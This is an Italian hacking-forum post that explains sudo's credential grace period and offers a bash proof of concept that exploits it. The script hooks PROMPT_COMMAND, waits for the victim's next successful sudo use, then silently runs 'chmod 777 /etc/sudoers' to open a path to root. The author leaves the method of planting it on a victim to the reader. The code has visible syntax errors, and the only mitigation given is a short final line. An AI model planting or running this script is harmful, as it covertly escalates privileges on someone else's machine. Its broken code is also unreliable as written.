Guida Sudo's Grace Period Exploit

Stato
Discussione chiusa ad ulteriori risposte.
N

Nhoya

Ultima modifica da un moderatore:
Oggi introdurremo il concetto di grace period e vedremo con un semplice ma efficace script come exploitarlo.

Cosa è il Sudo?
Sudo è una particolare utility che permette di far eseguire a determinati utenti (che verranno inseriti all'interno del gruppo sudoers) dei comandi che normalmente sarebbero accessibili soltanto all'utente con UID 0 (root per intenderci)
Questo serve principalmente perchè meno si sta loggati come utenti root e meglio è, al fine di evitare danni con comandi eseguiti male e via dicendo.

lo troviamo installato di default su Mac OSX e Ubuntu
Sulle altre distro ci basterà installarlo dai repo
Per debian e derivate:
Codice:
# apt-get install sudo
Per fedora e derivate:
Codice:
# yum install sudo
Per archlinux e derivate:
Codice:
# pacman -S sudo

per abilitare un utente all'uso sudo basterà modificare il file presente in /etc/sudoers

Cosa è il Sudo's Grace Period?
Digitando per la prima volta il sudo seguito da un comando ci accorgeremo che verrà richiesta la password
es.
Codice:
$ sudo cat inforge
da li in poi però inizierà un periodo di tempo (in gener 5 minuti) all'interno del quale sarà possibile utilizzare comandi richiamando il sudo senza però dover immettere la password
Istantanea - 23112014 - 18:12:36.png
Questo periodo di tempo può essere sfruttato da uno script maligno per far avviare al sistema un comando con privilegi di root.

PoC
Codice:
function red_head #dichiarazione della funzione 
 {
    if [ $? -ne 1 ] # verifica che il comando precedente sia stato eseguito con sucesso
    then
        if[ -z"${PWNED+xxx}"]# verifica dell'attacco
        then
            history 1 | grep -q -E '^[[:space:]]*[0-9]+ sudo '
                if [ $? -eq 0 ] # nel precedente comando è stato utilizzato sudo
                then
                      sudo chmod 777 /etc/sudoers 2> /dev/null #modifica i  permessi al file sudoers e non mostra eventuali errori
                    ="yes" #setta la variabile PWNED su yes
                    unset PROMPT_COMMAND 2> /dev/null 
                    fi
                fi
            fi
        }
PROMPT_COMMAND=red_head #aggiunge al prompt il comando red_head

Come potete leggere dai commenti inseriti, questo script (lascio a voi il metodo con il quale lo farete avviare alla vittima) una volta eseguito rimarrà in ascolto fino a quando l'utente non avvierà con successo un comando utilizzando il sudo e a sua volta ne lancierà uno (in questo caso il chmod del gruppo sudoers (utile se avete accesso in qualche modo alla macchina)
Questo script in particolare ha anche la funzione di verifica associata al comando e vi dirà se lo script ha realmente effettuato il suo lavoro, nel caso in cui vorreste qualcosa da "una botta e via vi basta modificare utilizzare soltanto questa parte
Codice:
 history 1 | grep -q -E '^[[:space:]]*[0-9]+ sudo '
if [ $? -eq 0 ] # nel precedente comando è stato utilizzato sudo
                then
                      sudo chmod 777 /etc/sudoers 2> /dev/null #modifica i  permessi al file sudoers e non mostra eventuali errori

L'unico modo che avrete di proteggervi da questo tipo di attacco è quello di settare il timestamp del sudo a 0 (lo potete fare modificando il file /etc/sudoers

il PoC originale è merito di devloop
 
Stato
Discussione chiusa ad ulteriori risposte.